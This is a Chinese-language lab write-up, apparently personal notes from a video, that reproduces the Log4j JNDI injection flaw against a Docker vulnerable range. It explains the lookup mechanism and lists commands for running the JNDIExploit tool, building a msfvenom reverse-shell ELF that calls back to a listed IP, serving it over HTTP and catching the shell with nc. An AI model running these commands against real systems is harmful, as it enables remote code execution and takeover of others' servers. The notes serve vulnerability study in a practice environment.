漏洞原理:log4j漏洞主要是由于其提供的lookup功能下的JndiLookup模块出现问题所导致的。
当开发人员在处理数据时,并没有对用户输入的信息进行判断,导致Log4j请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。
具体来说,log4j是一款通用日志记录工具,开发人员可以使用log4j对当前程序状态进行记录。当日志中包含${}时,log4j会将表达式的内容替换成真实的内容(即lookup接口查找得到的内容)。
使用LDAP或RMI协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了log4j的漏洞。
漏洞利用条件:java应用引入了log4j-api和log4j-core两个jar包
漏洞利用原理:当系统使用log4j通过${}形式将用户输入的信息打印到日志时,那这就会出现JNDI注入漏洞
复现过程:三台机器(以下分为三台机使用 1,2,3表示)
1、在2号机上部署一个docker容器然后在docker中拉取靶场镜像
docker部署(部署过的直接下一步)
1、yum install -y yum-utils //安装需要的安装包yum-utils
2、firewall-cmd --state //查看防火墙状态如果是开启的将防火墙关闭
3、 yum-config-manager \
--add-repo \
http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo //《阿里云镜像仓库》这一段直接复制执行,有报错的话搜搜csdn
4、yum makecache fase //先更新yum软件包索引
5、yum install docker-ce docker-ce-cli containerd.io //下载docker
6、systemctl start docker //启动docker
7、docker version //查看docker是否启动
2、拉取靶场镜像到docker
靶场部署
1、docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln //拉取镜像
2、docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln //创建容器
3、docker exec -it log4j_vuln_container /bin/bash //进入容器
4、/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh //启动容器
这样就是部署成功了
http://39.107.98.213:8080/webstudy/ //访问这个页面
3、3号机下载JNDIExploit-1.4-SNAPSHOT.jar这个jar包
https://github.com/WhiteHSBG/JNDIExploit/releases/download/v1.4/JNDIExploit.v1.4.zip //github下载地址
unzip JNDIExploit.v1.4.zip //解压
chmod +x JNDIExploit-1.4-SNAPSHOT.jar //添加可执行权限
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 123.56.136.50 -p 8888 //运行JNDIExploit-1.4-SNAPSHOT.jar
4、在1号机中访问http://39.107.98.213:8080/webstudy/ 使用burp抓包

在3号机里面生成一个反向shell文件
msfvenom -p linux/x64/shell_reverse_tcp LHOST=123.56.136.50 LPORT=443 -f elf -o shell.elf //lhost本地ip lport本地端口
生成这个文件后在这个shell.elf的目录下开启一个临时的web服务
python -m SimpleHTTPServer 80
在3号机设置监听
nc -lvnp 443
然后再执行这一步
上线成功
看YouTube上大佬视频做的笔记(看视频,命令就复制我的就行)
视频地址:https://www.youtube.com/watch?v=Fnuky41Eldo